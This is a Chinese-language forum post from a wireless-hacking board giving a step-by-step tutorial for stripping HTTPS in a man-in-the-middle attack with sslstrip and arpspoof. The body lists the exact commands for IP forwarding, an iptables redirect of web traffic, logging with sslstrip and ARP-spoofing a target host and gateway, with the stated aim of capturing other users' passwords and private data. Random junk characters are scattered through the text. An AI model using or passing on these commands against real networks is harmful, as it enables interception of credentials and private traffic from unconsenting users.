少校
- 注册时间
- 2008-7-29
- 金币
- 623 个
- 威望
- 86 个
- 荣誉
- 25 个
尚未签到
|
无线渗透--从外网到内网系列之中间人攻击外传--拿下HTTPS.
2 Q7 A& q1 q5 u2 G, r& L4 w& s$ B- V2 w( M
强烈建议不明OpenSSL, MITM attack为何物的朋友,先看无线渗透--从外网到内网系列之中间人攻击(http://forum.anywlan.com/thread-17045-1-1.html),对MITM attack有了一定了解后在读本文. :) 正如杨哲在文中提到进行中间人攻击可以使得攻击者更有效地截获内网用户的密码及隐秘信息。在BackTrack环境下使用EtterCap or ArpSpoof工具即可. 但Ettercap支持的协议中, 在大部份情况下对仅HTTP、FTP、Telnet、SMTP等以明文传输的协议有效. 对HTTPS这样用了最新OpenSSL版本的就没办法了..... 直到刚在US举行的black hat 2009会上,一老黑发布的名为sslstrip的software,变像的解决了此问题.' Z: ?; d. ?6 {6 u
+ l: j) P0 f! r$ p# B$ r- R
此软件可在(http://www.thoughtcrime.org/software/sslstrip/index.html)找到. E文ok的朋友还可以看他在Black hat上的精彩演讲. 因sslstrip是用python写成,不用安装也可运行.' {* ^( e7 V' f. Z2 g
9 H* }4 F- A( r+ x1 V/ l$ F用法分为以下几步: N$ r: _* i( C1 |, M7 d8 I
" M1 h8 F" B- f" I5 {3 E
1) 用命令 echo "1" > /proc/sys/net/ipv4/ip_forward 将你的机子进入forwarding mode.
+ s4 d' s/ G& I- Z3 z
2 H/ E5 N" j" _$ C7 `( I9 f- w9 [2) 用命令 iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 使iptables把所有http数据导入sslstrip.. X0 _; U: B2 Z8 b( D U
% Y- E9 c' [% J2 H
3) 运行 sslstrip -a -w ssllog (写入文本)
4 N9 t" {+ y% S: S, `7 D" @6 A) B " G( h% _3 i7 i+ m$ h
4) 运行 arpspoof -i eth0 -t 192.168.1.15 (目标) 192.168.1.1 (网关): | A6 O4 ^: H; t# m2 r
7 C9 P. U2 |* ] A) Z/ j: T接下来就耐心等待吧! ;) 要提下的是生成的log文件如ssllog其实是html格式的.用konquer可以打开,这样连目标在看的网页面也一清二楚了. 以上均在自个的LAN和BT3下测试完成. 此文是小弟头一回发贴,有不对之处还请大狭们都指正! :)
4 P( V7 P, R; [9 Z8 {
1 g$ n9 X- u& [: qPrisoner |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有账号?注册
x
评分
-
1
查看全部评分
-
|